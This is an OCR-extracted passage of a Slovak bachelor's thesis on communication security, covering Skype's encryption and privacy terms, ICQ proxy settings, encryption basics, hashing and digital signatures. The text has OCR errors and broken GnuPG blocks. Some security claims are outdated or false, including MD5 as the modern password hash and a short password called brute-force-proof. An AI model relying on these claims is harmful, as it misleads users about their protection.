instalaénom Skype a programom Skype rdmcovo zodpovedaju oficidlnej dokumentacii
vyrobcu.

Skype uvadza, Ze prenaSany obsah (data hovoru, prenasany subor alebo chatovej
spravy) je Sifrovany medzi koncovymi komunikujucimi uzly symetricka Sifrou AES s
dizkou kli¢a 256 bitov. Uelom tohto §ifrovania ma byt zabezpelenie sukromia obsahu
hovoru aj v pripade, Ze prudy ramcov prechadzaju cez supernodov, a vSeobecna odolnost’
proti odpocuvaniu prevadzky siete. Vlastnd vymena symetrickych klI'icov ma prebiehat’
pomocou RSA. Klient Skype pritom ma mat kI'a¢ RSA s dizkou 1024 bitov, potvrdenie od
login servera Skype ma byt tiez pomocou kli¢a RSA s dizkou 1536 bitov, resp. 2048
bitov u platenych sluZieb.

Zdoraznujem, ze koncepcia vytvorenia a praca s kI'i¢mi RSA musia byt vyrazne

odlisné od toho, na ¢o je uzivatel' zvyknuty napriklad z programu PGP alebo z beznych
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certifikdtov X.509 v elektronickej poste. KIicova dvojica RSA sa vel'mi pravdepodobne
generuje pri kazdom spusteni programu Skype vzdy znovu a vzdy znovu certifikované
login servery. Tento certifikdt sa nazyva SessionlD Token (pokial' sa nejedna o token
jedného hovoru), bude pravdepodobne spajat’ volacie meno s aktualnym verejnym kI'a¢om
RSA a sluzit pre vsetku nasledni autentifikiciu v P2P prevadzky. Uvodna autentizacia
teda spociva len na dvojicu prihlasovacie meno / heslo.

Ak sa uzivatel domnieva, Ze snad’ su data sietou Skype Sifrované pomocou
prihlasovacieho hesla k sieti, potom o tom mierne pochybujem, pretoZze Skype pre pripad
zabudnutia hesla umoznuje poziadat’ o jeho reset. Pritom musi vykonat’ kontrolu e-mailu
(teoreticky by eSte hodnota e-mailu mohla byt Sifrovana i haSovana zvlast) - ndhodne
vygenerované nové heslo déjde do e-mailovej schranky. Mimochodom, pretoZze e-mail
chodi Internetom otvorene, moze toto nové heslo hocikto odchytit’ a nejaku dobu sa v sieti
Skype l'ahko vydavat’ za vas.

Niektori povazuju uvadzané informécie o AES-256/RSA za dostato¢né. Navyse sU
upokojenie tym, Ze z podstaty P2P siete nie je mozné centrdlne zachytavat’ hovory medzi
uzlami. Tym, Ze st hovory Skype Sifrované, potom maju byt bezpecénejSie ako bezné
hovory cez verejnu telefonnu siet’, ktoré nie su Sifrované vobec.

Problém je, Ze tento predpoklad plati len vtedy, ak st vSetky Sifrovanie a prevadzka
P2P implementovane korektne a bez chyb. Pretoze to nikto nezaruci, naopak je technicky
rovnako dobre mozné, Ze siet’ mdZze monitorovat’ zoznam vsetkych hovorov, vytvarat
mapy kontaktov a frekvenciu hovorov (aj ked’ uzivatel’ v sieti pod pseudonymom, jeho
naprotivci maju moznost’ si u uzivatel'a v zozname kontaktov uviest’ jeho skutocné meno, a
odtial’ je Skype mdze nakoniec 'ahko vydolovat),

Prevadzka zvolenych uzivatel'ov méze byt odklonena cez supernodov, ktoré hovory
a data nahravaju alebo preposielaju tretej strane. Kluce k pouzitym Sifram mézu byt
zaslane tretej strane pre rozlustenie zachytenej prevadzky, alebo sa pouZzije osobitny slaby
krac¢. Kvoli Sifrovaniu vsetkej prevadzky ho nie je mozné nezavisle kontrolovat'.

Rozdiel oproti klasickej telefonnej sieti by som teda videl skor v rozdielu subjektu,

ktory potencialne méze odpocuvat’.

Z obav mozno snad’ vylucit' len to, ze by program Skype Sifrovanym kanalom
zanaSal do firmy lahko virusy. Skype tvrdi, Ze zapisnice doSlych stuborov na disk sa
vykonava beznym spdsobom a bezné antivirusy su schopné v tejto faze subor zachytit

rovnako, ako keby dospel napriklad Sifrovanym e-mailom.
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Firma Skype otazku stkromia rieSi v EULA odkazom na svoje webové stranky, tj
Skype Privacy Statement. Tu vyslovne v bode 3 vyhlasuje, Ze firma Skype nezbiera
akykol'vek obsah komunikdcie. Skype zbiera prevadzkové data na nevyhnutné ucely
sluZieb, ako st Skype-Out, a uschovava ich potrebnd dobu.

V bode 4 sa vSak hovori, Ze v pripade Ziadosti opravneného Uradu tyka osobnych
udajov, prevadzkovych dat alebo odposluchov, Skype alebo jej miestny partner poskytne
potrebnd asistenciu a informécie pre vyhovenie Ziadosti. Takéto ustanovenie je primerané a
Uzemne jasné u bezného telefonneho operéatora, v pripade siete Skype v8ak vznikajd pravne
nejasnosti. Optimisti budu vykladat’ odsek v kontexte prevadzke na branach Skype-
Out/Skype-In, takéto vymedzenie sa vSak v odseku nenachadza, hoci v inych je pritomné.
Na moj dotaz ohl'adom posudzovania relevancie jurisdikcie pre vyhovenie Ziadostiam v
uvedenych veciach dospela zo Skype iba genericka odpoved’ s odkazom na stranku FAQ.
Firma o 100 Tudoch tazko moze riesit otdzky svojich 40 milidnov uzivatelov
individualne.

Za zmienku potom uz len stoji to, Ze firma Skype povazuje osobné udaje za svoje
aktiva, ktoré budd v pripade jej predaja predmetom prevodu (americky koncept vlastnictva
marketingovych dat). Suhlasom s EULA sUhlasite s uvedenym Privacy Statement a tieZ
vyslovujete sihlas so spracovanim svojich osobnych udajov v zahrani¢i. Vyhlasenie je
inak pomerne primerané.

Je vSak tiez mozné, ze Skype pracuje Uplne korektne a bezpecne, ze vsetky jeho
bezpec¢nostné a utajovacie opatrenia (Skype napr. detekuje pritomnost’ run-time debuggeru
SoftICE a odmieta s nim bezat) sa robia iba z komerénych dovodov ochrany kodu a
protokolov Skype, ako prevencia pred napodobiiovanim a zapojenim sa do siete.

Skutocnost’ je, ze v sicasnosti je Skype povazuje v tejto suvislosti za Cisty program.
Obranné programy Ad-aware a Spybot S & D na Skype ani neupozoriiuju. V pripade
neuspechu udaného business planu méze byt’ vSak budicnost’ Skype eSte zaujimava.
Napriek tomu by mali uzivatelia svoj pocita¢ proti spyware chranit’. Ved Skype napriklad

vedie v suboroch s otvorenym html formatom histériu chatu.
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5. Zabezpecenie

5.1 Zabezpecenie ICQ

Najlepsi a najucinnejsi sposob je skrytd IP adresa. Existuju 2 spdsoby ako sa to da
urobit’:

Nepouzivat' ICQ ale iné messengeri, ktoré pouzivaju Sifrovanie. Tu je IP adresa
maskovana bez pouzita proxy. Ked sa pouziva proxy tak IP je takmer nemeratel'na. Druhy
spdsob spociva v nastaveniach proxy servera a firewallu.

Vyberiete typ FW (FireWall) Socks 4, Socks 5, HTTPS alebo HTTP. V polic¢ku host’
piSem IP proxy v policku Port piSem port proxy servera. (napr.: 80) Stla¢im Apply a ideme
a v zalozke User zaskrtnem policko naproti usan Proxy. V policku Select type of Proxy sa
vyberie typ proxy, ktory ste sa vybral na zaCiatku (napr.: Socks 5)

Potom v menu Security & Privacy Permissions -> General -> Contact List Authorization
sa nastavi aby kazdy kto si vas chce pridat’ do svojho kontakt listu musi vas o to poziadat’.
Zostava aby ste sa vymyslel zlozité heslo typu: dsal ; 22,, takéto heslo utocnik pomocou

Brut-Force nenajde.

5.2 Zabezpecenie e-mailovej komunikacie
5.2.1 Symetrické Sifrovanie

Symetrické Sifrovanie je postup, ktorym jednoznacne zaSifrujeme spravu M
(Message) pomocou kl'u¢a K s (vicsinou) pevne danou diZkou na zaSifrovany text T,
pricom zo zaSifrovaného textu T dostaneme pOvodnu sprdvu M len za podmienky, Ze
pozndme pri Sifrovani pouzity kI'i€. Symetrické Sifrovanie sa skladd z dvoch Ccasti,
zaSifrovanie (Encryption) a deSifrovanie (Decryption), pri¢om plati:
EM,K)=T
D(T,K)=M
pricom E a D je u vd&8iny algoritmov rovnaka funkcia (teda pouzivame rovnaky postup na
Sifrovanie aj deSifrovanie). Prikladom symetrického Sifrovania je DES (Data Encryption
Standard).

5.2.2 Asymetrickeé Sifrovanie
Problém so symetrickym Sifrovanim je v prenose kl'uca. KIai¢ K sa totiz musi
preniest’ cez nejaké médium. To bola v minulosti jedna z najvac¢sich priorit medzinarodne;j

Spionaze. Uz vobec nebolo mozné kIi¢ preniest’ cez elektronicky kanal, ktory je vel'mi
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lahko odpocuvatelny. Fyzicky prenos je na druhej strane velmi pomaly. Asymetrické
Sifrovanie tento problém riesi vel'mi efektivne. Asymetrické Sifrovanie je séria postupov,
pri ktorych jednoznacne premenime text T1 na text T2 pomocou klI'i¢a Kn (n=1,2). Sklada
sa z dvoch Casti. Prva ¢ast’ (Sifrovanie - encryption) premeni text M na text T pri¢om
pouzije kI'aic K1 (vdcSinou oznacovany ako verejny kIi¢ - public key). Druha cast’
(desifrovanie - decryption) premeni text T na text M, pricom sa pouzije kI'a¢ K2 (va¢sinou
oznacovany ako sukromny kIu¢ - private key). V zasade plati, ze z K1 sa ziadnym
matematickym postupom neda ziskat' K2. Stkromny klI'a¢ K2 je klIac, ktory vlastni len
clovek, ktorému je sprava urena. K1 je verejny kl'u¢, ktory méze vlastnit’ ktokol'vek (dana
osoba ho teda mdze poskytovat’ na stiahnutie na internete). Text M zaSifrovany pomocou
klaca K1 sa teda déa desifrovat’ len za pomoci kl'ac¢a K2, ktory mé len ¢lovek, ktorému je
sprava urcena (z toho vyplyva, Ze text T na text M nemoze deSifrovat’ ani ten, kto ho
zaSifroval, pretoze nema sikromny kI'a¢ K2, potrebny na tto operaciu). V skratke:
E(MM,K1)=T

D(T,K2)=M

K2 1= f(K1)

Posledny riadok teda hovori, Ze neexistuje funkcia f, ktord ako argument dostane K1 a vrati
hodnotu K2. Pre lepSiu predstavu, sutkromny a verejny kl'u¢ vyzera asi takto (ich textova

forma):

Version: GnuPG v1.2.6 (GNU/Linux)
IQH8BEH/pyUBBACzhack+rViOFjJWmlbp7AsVLT19YZoDVAKA4TxLq7BgrOVXla62
8qHZKvBagRDTObNg7jylsvsaSFIQpzbsMVW7quCpOxLg5kLay6wFNaQ17m+LBKO/
rRMIeGicmYP75ghyUaKgFCZR5isA5BnCUQIVANC1CesizH91hGwcbuL VXxQAGKf4D50



c2s+iLQEEWECAB4FAkH/pyUCGWMG CwkIBWMCAXUCAWMWAQECHQECF4AACgkQ
YK7P
+SBgae63hwQArsVQpFUAKR5t2+gcvQumuFoCamgRoLMjYIL7d04XX04Wb1iwwW3my
sTzR3tSdIkZuQEeLNs3Rg3Yoe6 KLhPdohNwOrXKmAAVKUKSBTjFsm+ICDYdPXggo
AMjZgUO0oxi0ktiYBgyo9z90GSEVN76n8PYVHhGowmauSranw81yXupY=

=hEMD

Version: GnuPG v1.2.6 (GNU/Linux)
mIsEQf+nJQEEALOFpyT6tWI4WMIlaYhunsCxUtPX1hmgNUArhPEursGgs5VeVrrby
0dkg8FgBENPRs2DuPKWy+xplUICnNuwxVbug4Kk7EuDmQtrLrAUL1pDXub4sEo7+t
Ewh4aJyZg/vmCHJIRoqoUJIHMKwWDKGcJISqVUAOLUJ6YLMI3WEDbBxu4tXFAAYptEIN
YXJlayBOZW11lY2theSAoQWRtaW5pc3Ry YXRvcikgPG5IbWVja2 FSQHNwcemI0ZS51
ZGkuZmlwaC51bmliYS5zaz6 ItAQTAQIAHgUCQf+nJQIbAWYLCQgHAWIDFQIDAXYC
AQIeAQIXgAAKCRBITs/51Gpp7reHBACUuxVCkVQApHmM3b6By9C6a4WgJqaBGgsyNg
gvt3ThdejhZzvWLBbebKxPNHe1lJ2WRm5AR4s2zdGDdih700uE92iE3A6tcqYABWRS
RIFOMWyb6UINh09eCqgAYNmBTSjGLSS2JgGDK|j3P04Z1S83vafwohUeEajCZg5Kt
qfDzXJe6lg==

=4fDP

Ak teda chceme napriklad poslat’ zasifrovany e-mail s nejakou dévernou informéciou, ako
napr. "Heslo je X8j44H7Ehnd8eS", stiahneme si najprv verejny kI'a¢ (public key) dané¢ho

adresata, ktorym tito spravu zasifrujeme. Dostaneme nieco takéto:

Version: GnuPG v1.2.6 (GNU/Linux)
hQEOA6uU2jt3ezM+LEAP/SWPxf3ATsZ8KdJ+pSEhb37HO0tOR0bioPG4toXWyhJVG
fgjKBTUIDyUpBn52Xtx7RKa2vv3gaUcEHuUlU7LmIvH88ZQzoKZ+V369qJQbZMPXU
bGZMoQ3LAa+CXWQDNnSWnNK9ypSEF7jRSydyaUpkat5Z8pk/4+vdY3WX93A5gA48D
[2xzDsoYZqqmmzS6Pum42WmOD6b2RsgnN608SvUAVTIAICJocvYu6hbuzk7drQ06
/PHUQRjQxRX294GB3gSkO+/EBsPys0QdFURdO4jUHNe9fc90CXov1CRD6IB+Tqil
hK5tOst/8aEfoKovttwThGFJj+G0ZGAaNfHN4ftLh/T30pgBgOSEFpXtgAae1K3/
FpDCWw7I5dEKNCoJLURMOItStIZXrIraO66b7/mNViYNXFjhX+Gvtww4dGNPOFCdnU
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0d3+NeD0azYc9zjtd76VNNGmME3rtYh6rDp7fUGCmKflc6cjQAG67vgnoWS3pGe/P+
Wq7MHJDuVOgnHxbkGZeUNmXL3aUpg+uv4tKGsihx/RVFhmRigkChOGahHg==
=C6ns

Takuto zaSifrovani spravu potom poSleme beznym e-mailom. TGto spravu je mozné
rozsifrovat’ jedine sikromnym klI'i€¢om daného adresata. Verejny a sitkromny kI'Gi¢ tvoria
vzdy par, takZze k danému verejnému existuje iba jeden sikromny, ktory sa z verejného
neda nijakym spdsobom urcit. Samotné zasifrovanie a spravu kl'i¢ov uz dnes zabezpecuju

samotni e-mailovi klienti (teda programy ako napr. Outlook).

Okrem Sifrovania e-mailov je Casto nutné Sifrovat aj komunikaciu s nejakym
vyzdialenym serverom. Md&ze ist’ napriklad o komunikéaciu na baze protokolu SSH alebo
HTTPS (Sifrované HTTP). D6vodom je samozrejme utajenie prenasanych informacii. V
praxi, ked’ sa napriklad pripojime na webovy server nasej banky, tak nechceme, aby sa
tieto sukromné informacie mohli nejako "dostat’ von". Sktisime si teraz popisat’ a vysvetlit
ako vyzerad nadviazanie Sifrovanej komunikacie a nasledné Sifrované prendSanie dat cez
Sifrovany protokol HTTPS. Pri Sifrovanych spojeniach sa dnes najCastejSie vyuziva SSL
(Secure Sockets Layer).

Klient (nas internetovy prehliadac, napriklad Internet Explorer) posle poziadavku o
SSL spojenie na server, doplnent réznymi informaciami ako napriklad verzia SSL,
nastavenie Sifrovania atd’.

Server posle klientovi odpoved doplnenti rovnakym typom informacii a certifikéat
serveru, ktory obsahuje aj verejny kl'a¢ serveru pre asymetrické Sifrovanie.

Podla prijatého certifikatu si klient overi autentickost’ serveru u certifikacnej autority
(www.dtca.sk).

Klient vygeneruje klI'i¢ pre symetrické Sifrovanie, verejnym klI'icom serveru ho
asymetricky zaSifruje a poSle serveru. Server pouzije svoj sukromny kl'a¢ na rozsifrovanie
kla¢a pre symetrické Sifrovanie. Server a klient navzajom potvrdia, Ze od teraz bude ich
komunikacia Sifrovana tymto kI'da¢om symetrického Sifrovania. Vytvori sa Sifrované

spojenie zalozené na symetrickom Sifrovani pouzitim vygenerovaného kIica.

Pre Sifrovani komunikaciu sa vyuziva vyhradne symetrické Sifrovanie. Dévodom je,

ze pomocou symetrického Sifrovania dokdZeme informacie Sifrovat’ rddovo rychlejSie ako
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pri asymetrickom. Ak by sme mali z4jst’ do detailov, tak aj e-maily sa v skutoc¢nosti Sifruji
symetricky, je to proste rychlejSie. E-mailovy Klient totiZ tieZ vygeneruje symetricky kI'a¢
S, ktorym zaSifruje celt spravu M, potom asymetricky (verejnym kl'u¢om V) zaSifruje len
tento vygenerovany kl'u¢ S, to ide rychlo, pretoze kI'a¢ S je predsa len vzdy kratsi ako cela
sprava M. Potom teda poSle asymetricky zaSifrovany kIa¢ S spolu so symetricky
zaSifrovanou spravou M. E-mailovy klient adresata tejto zaSifrovanej spravy najprv
asymetricky (sukromnym kl'dtCom P) rozsifruje kI'G¢ S, ktorym potom symetricky

rozSifruje danu spravu M.

5.2.3 Jednosmerné funkcie (haSovacie funkcie)

Symetrické a asymetrické Sifrovanie sa zaobera hlavne problematikou utajovania
dat. To vak nie je jediny problém, ktory pri kryptografii nachadzame. Dalsim velmi
podstatnym problémom je integrita (neporusenost) dat. Ked zabezpecCime integritu,
zabezpecCime aj to, Ze nikto pocas prenosu data nezmenil a neboli poskodené chybou
prenosovej linky. HaSovacie funkcie su délezité aj pri ukladani pristupovych hesiel do
informacnych systémov a pouzivaju sa aj pri generovani tzv. One Time Passwords (hesiel
na jedno pouzitie). VSetko z tohto ma velmi dolezit¢ miesto v informaénych
technoldgiach, hlavne v elektronickom bankovnictve. V minulosti sa na zabezpeenie
integrity pouzival tzv. CRC kod (Cyclic Redundant Check). Bola to jednoducha
matematickd operacia, ktora zabezpecila, Ze data neboli pri prenose cez nekvalitni (napr.
telefonnu) linku poskodené. Aby sme sa vyhli aj I'udskému zasahu, su potrebné ovela
zlozitejSie algoritmy. Aby sme si ukazali, Co je to haSovacia funkcia, zadefinujme si
funkciu H, ¢o bude vel'mi jednoduché hasovacia funkcia, ktora spravi aritmeticky priemer

vsetkych prvkov c.

H(cl;c2;c3;...cn)=(cl+c2+..+cn)/n

Problém tejto funkcie je vSak v tom, ze sice zisti prili§ vel’ku zmenu, no napriklad
také vymenenie dvoch prvkov medzi sebou vysledok funkcie nezmeni. Vel'mi délezZitou
aplikaciou haSovacich funkcii je overovanie hesiel vo viacuZivatel'skych operacnych
systémoch. V modernych opera¢nych systémoch sa na tito operaciu pouziva haSovacia
funkcia MD5. Ked pouzivatel' zada heslo, pomocou haSovacej funkcie sa vytvori jeho
"message digest" (message digestom oznacujeme vystup hasSovacej funkcie). Ak tento

sthlasi s message digestom uloZzenym v systéme, autentifikacia prebehne UspeSne a
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pouzivatel je prihlaseny do systému. V systéme vSak nikdy nie st uloZené hesla, iba ich
message digesty. TakZe sa nedaju ani Ziadnym sposobom desifrovat’. HaSovacia funkcia je
jednosmernd a straca udaje, d4 sa len overit, ¢i z dvoch textov vznikne rovnaky message
digest. Zaroven je vel'mi zlozité bez skusania najst’ taky text, z ktorého sa vygeneruje

vopred dany message digest.

Skusme napriklad vygenerovat’ message digest z retazca "Temou mojej bakalarskej prace

je bezpecnost komunikacie cez siet”, v OS Linux zadame jednoduchy prikaz:

$ echo " Temou mojej bakalarskej prace je bezpecnost komunikacie cez siet " | openssl
md5
23dd8caf441ccb0deb8a3f6734c20ff9

Message digest je retazec 23dd8caf441ccb0deb8a3f6734c20ff9. Teraz sklisme nejaky
kratky retazec, napriklad "IT".

$ echo "IT" | openssl md5
a2630d23f73a02f52b1926bc979bbcfc

Vidime, ze hasovacia funkcia MD5 vracia vzdy rovnako dlhy hexadecimalny retazec.

5.2.4 Digitalne podpisy

Digitalne podpisy vyuzivaju metody asymetrického Sifrovania a haSovacich funkcii
na jednoznacné podpisanie textu. Podpisany text zaruCene pochadza od cloveka, ktory
vlastni verejny kI'ac¢, ktorym sa podpis overuje. Na podpisanie textu je potrebny sukromny
klag, cize podpis pochadza od autora. Azda najjednoduchsie si digitalny podpis ukdzeme
ako nasledovny postup (nie je to jediny spdsob, akym sa da ziskat’ digitalny podpis). T je
podpisovany text, S je podpis, H je I'ubovolna haSovacia funkcia (vd¢Sinou sa pouziva
MD?5 alebo SHA-1), C je funkcia asymetrického Sifrovania na zaSifrovanie textu, pricom
ma dva parametre: text (ktory chceme zasifrovat) a kl'u¢. V nasom pripade pouzijeme
sukromny kI'a¢ P, ktory patri osobe podpisujucej text. Takto zabezpecime, ze kazdy, kto

ma verejny kI'a¢ danej osoby a doveruje mu, méze overit’ pravost’ digitalneho podpisu.

S=C(H(T), P)
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Prakticky sa najprv zo vstupného textu vygeneruje vysledok haSovacej funkcie (tzv.
message digest), ¢o je kratky text, ktory tvori kontrolny sicet dané¢ho textu a potom sa
tento text zaSifruje pomocou sikromného klica (Cize ho dokaze desifrovat’ ktokol'vek, kto
ma verejny klIa¢ danej osoby). Na overenie podpisu staci desifrovat’ podpis verejnym
klI'ai¢om osoby, o ktorej si myslime, ze podpis vygenerovala a porovnat’ ho s message

digestom spravy. T.j. digitalny podpis je platny, ak plati

H(T) = D(S, K1)

kde T je podpisany text, H je hasovacia funkcia, S je digitalny podpis, K1 je verejny kl'a¢

osoby, ktora tato spravu podpisovala a D predstavuje asymetricke deSifrovanie.

Teraz maly nazorny priklad, chceme digitalne podpisat’ a zaSifrovat’ spravu: "Ahoj,
ako sa mas?". Tento priklad je popisany pre OS Linux, kde sa vyuZiva OpenSSL a GnuPG.
Predpoklada sa, ze dvojicu klucov pre asymetrické Sifrovanie uz mame vytvorenu
prikazom:
$ gpg --gen-key
Najprv zo spravy vytvorime message digest funkciou MDS5, prikaz bude vyzerat’ takto:
$ echo "Ahoj, ako sa mas?" | openssl md5"
95eaf3fa6de7f8e7ab493857e4f812bb
Vygenerovany message digest asymetricky zaSifrujeme nasim sukromnym kl'aicom:
$ echo 95eaf3fabde7f8e7ab493857e4f812bb | gpg --armor -e -5  -r

andrej.rabara@gmail.com

Version: GnuPG v1.2.6 (GNU/Linux)

hQEOA6u2jt3ezM+LEAP8Dj4b8x4qcU+BEFLAQzh5VnvVZ5wMPrR6LSR5CUVIOT+v
dMYzfdOkqSiuhPQyOHNWiItZv8Ri/f2BdISbHIQibjKhlh50XfDej5+Wz5QmTO/cl
vImxT3VXNTB33g/ERZ8rKGZLVmyX07CbGXQFcLI025qrgGm459pFGEVEQ5sjPfkD
/1pMggQf9YzfRL/g1PHiIwWOSA7tICKtBmfIMa9QHU8V+2/hcdTjRFzYkzTII2+PhX
BGJe3Jq8dDgPz62PW01sMHoLGMPSpLi8XDdudrd42oP0aZlhme4hkK+z2UeUrErO
VhTtC4raKrmUZYOg9XDIv0ZZPsyWujywcbNzM1NAFvrg0qYBIJvPgmBelOpMMn5q
w2tM+n61QkI8RTqczKT8ZXIdx5rPfegMIUOKOSeiv7jUYIzMpza9wDzTtaactQIB
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pCGCtubs3KIwZdc4XTECpKIeo6kG8HRUsZSOkc5Phvjy5RpFzP2VMpgaCCAiIuA0O
HJIfyEK8RKcPRMHPtSmXc+h1T87CYz2NHHCcB3pbidw7+TSNIRUGOKOQYN6SPFDjy
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=97ni

Nakoniec poSleme bezny e-mail s naSou spravou a zaSifrovanym message
digestom, ktory vlastne predstavuje nas digitalny podpis. Resp. nas digitalny podpis je
dany dvojicou kIicov asymetrického Sifrovania, ktoré sme pouzili na vygenerovanie tohto
zaSifrovaného message digestu.

Adresat, ktory obdrzal tito spravu si teraz moze overit,, ¢i je tato sprava skuto¢ne od nas.
Zasifrovany message digest si rozSifruje nasim verejnym klI'icom, ktory poskytujeme na
internete volne na stiahnutie. Na zabezpeCenie integrity verejného kluca sa stara
certifikacna autorita (www.dtca.sk). Adresat si teda moze overit’, ze dany verejny kl'ac je
skutocne na§ a nie nejaky podvrhnuty. RozSifrovanim ziska dany message digest:
95eaf3fabde7f8e7ab493857e4f812bb. Potom si vytvori vlastny message digest zo zaslanej
spravy: "Ahoj, ako sa mas?" a ak su tieto dva message digesty rovnaké, tak je sprava

autenticka.

Na tomto mieste treba pripomenut, ze digitalny podpis ako taky nezabezpecuje
utajenie obsahu spravy. Retazec spravy: "Ahoj, ako sa mas?", bol v sprave v
nezasSifrovanej podobe a v tejto podobe putoval aj internetom. Na dodato¢né zaSifrovanie
obsahu digitalne podpisanej spravy treba eSte aplikovat’ postup z Casti asymetrické
Sifrovanie, teda medzi krokmi 2. a 3. celll spravu asymetricky zaSifrovat’ verejnym kI'icom

adresata a az potom poslat’.

Digitalny alebo elektronicky podpis ma oproti klasickému podpisu niektoré vel'mi
vyhodné vlastnosti. Digitalny podpis je naviazany na podpisovany dokument. V pripade
akejkol'vek manipulacie (zmena, doplnenie a podobne) povodného dokumentu sa
elektronicky podpis stdva okamzZite neplatnym. Na druhej strane, klasicky podpis méZeme
stale veselo kopirovat s pouzitim modernych pristrojov (scanner, tlaciaren, kopirka).
Pricom koépia si zachova vSetky vlastnosti origindlu. Klasicky podpis teda podpisuje
papier, nie viak jeho obsah. Podpis sa nemeni so zmenou obsahu, resp. pri zmene obsahu

nezistime, Ze podpis je neplatny.
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Zaver

V mojej praci sa zaoberam bezpecnostou komunikéacie cez siet’ realizované cez
komer¢né komunikaéné programy a e-mail. V dneSnej dobe sa cez Internet a aj iné
komunika¢né média prenasa vela dolezitych a tajnych informécii. Je teda nevyhnutné tieto
informacie a data chranit. Vo firme v ktorej pracujem sa na projekte pouzivaju
komunika¢né programy nie len na neformalnu komunikaciu. Niektoré programy su v sieti
blokované ale nebyva to pravidlom. Odporucal by som ich Uplny zakaz. Bakalarska praca
ma informovat’ o nevyhodach ¢i dierach v systéme. Podl'a m6jho nazoru méze byt kazda
komunikacia na sieti nebezpe€na a vZdy sa najde niekto kto dokézZe obranu porazit’.

V prvej Casti sa v kratkosti venujem hlavnym pojmom bezpe¢nosti na sieti, v druhej
uz definujem mozné utoky na siet. V ostatnych troch analyzujem bezpecnost
komunika¢nych programov, testuyjem mozné utoky a bezpeCnost' a v zavere navrhujem
rieSenie zabezpecenia.

Niektoré testy ¢i simulacie sa mi s ¢asového nedostatku nepodarilo realizovat'.
Budem vSak zo zaujmu o tato problematiku pokracovat’ d’alej v analyzovani a testovani
samotnej bezpecnosti mimo bakalarsku pracu.

Behom vypracovavania prace som sa stretol s mnohymi praktickymi skisenostami a
osvojil si mnoho odbornych poznatkov. K dispozicii som mal dostatok literatury z ktorej

som Cerpal napady k realizacii bakalarskej préace.
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Ciel'om bakalarskej prace je nie len zvySenie bezpecnosti komunikécie cez siet’, ale
aj vSeobecne informovat’ o hrozbach uniku dat spdsobenym vonkaj$im vplyvom a utokom.
Bakalarska praca bude aplikovatel'na na komunikaciu na projekte aj pre bezného uzivatel’a
Internetu. Pouzivanie nezabezpecCenej komunikacie je nie len problém jednotlivcov, ale
problém globalny. V dnesnom Svete ma ¢lovek Coraz menej stikromia a na internete to
moze platit dvojnasobne. Na vine je mald informovanost’ ¢i neochota venovat sa

bezpecnosti komunikacie dosledne.
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The target of my thesis is not only to increase safety of communication via network,
but also to generally inform about the threats of data loss due to an outer influence or
attack. The thesis will be applicable to communication in project as well as for the average
Internet user. The usage of unsafe communication is not only a problem of individuals. It
has a global character. In contemporary society, people have less and less privacy, what
counts for double when talking about the Internet. The problems is little know-how or

unwillingness to deal with communication safety consistently.
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Zoznam pouzitych symbolov a skratiek

CD
CPU
DHCP

DNS
FTP

HTML
HTTP
IMAP

MAC
0S

PC
POP3
SMTP
SSL
TCP/IP
TCR
WAN
WWW
URL

Comact Disk

Central Processing Unit

Dynamic Host Configuration Protocol - used for automatic assignment of IP
addresses to individual personal computers in computer networks

Domain Name System

File Transfer Protocol - in computer science is it an application layer
protocol of TCP / IP family, designed for transferring files between
computers.

Hyper Text Markup Language

Hyper Text Transmission Protocol).

Internet Message Access Protocol

Internet Protocol - data protocol used for data transmission over packet
networks

Media Access Control - an unique identifier of a network device

Operating System

Personal Computer

Post Office Protocol

Simple Mail Transfer Protocol

Secure Sockets Layer

Transmission Control Protocol / Internet Protocol

Transmit Control Register — a transceiver for coaxial cable

Wide Area Network

World Wide Web

Uniform Resource Locator
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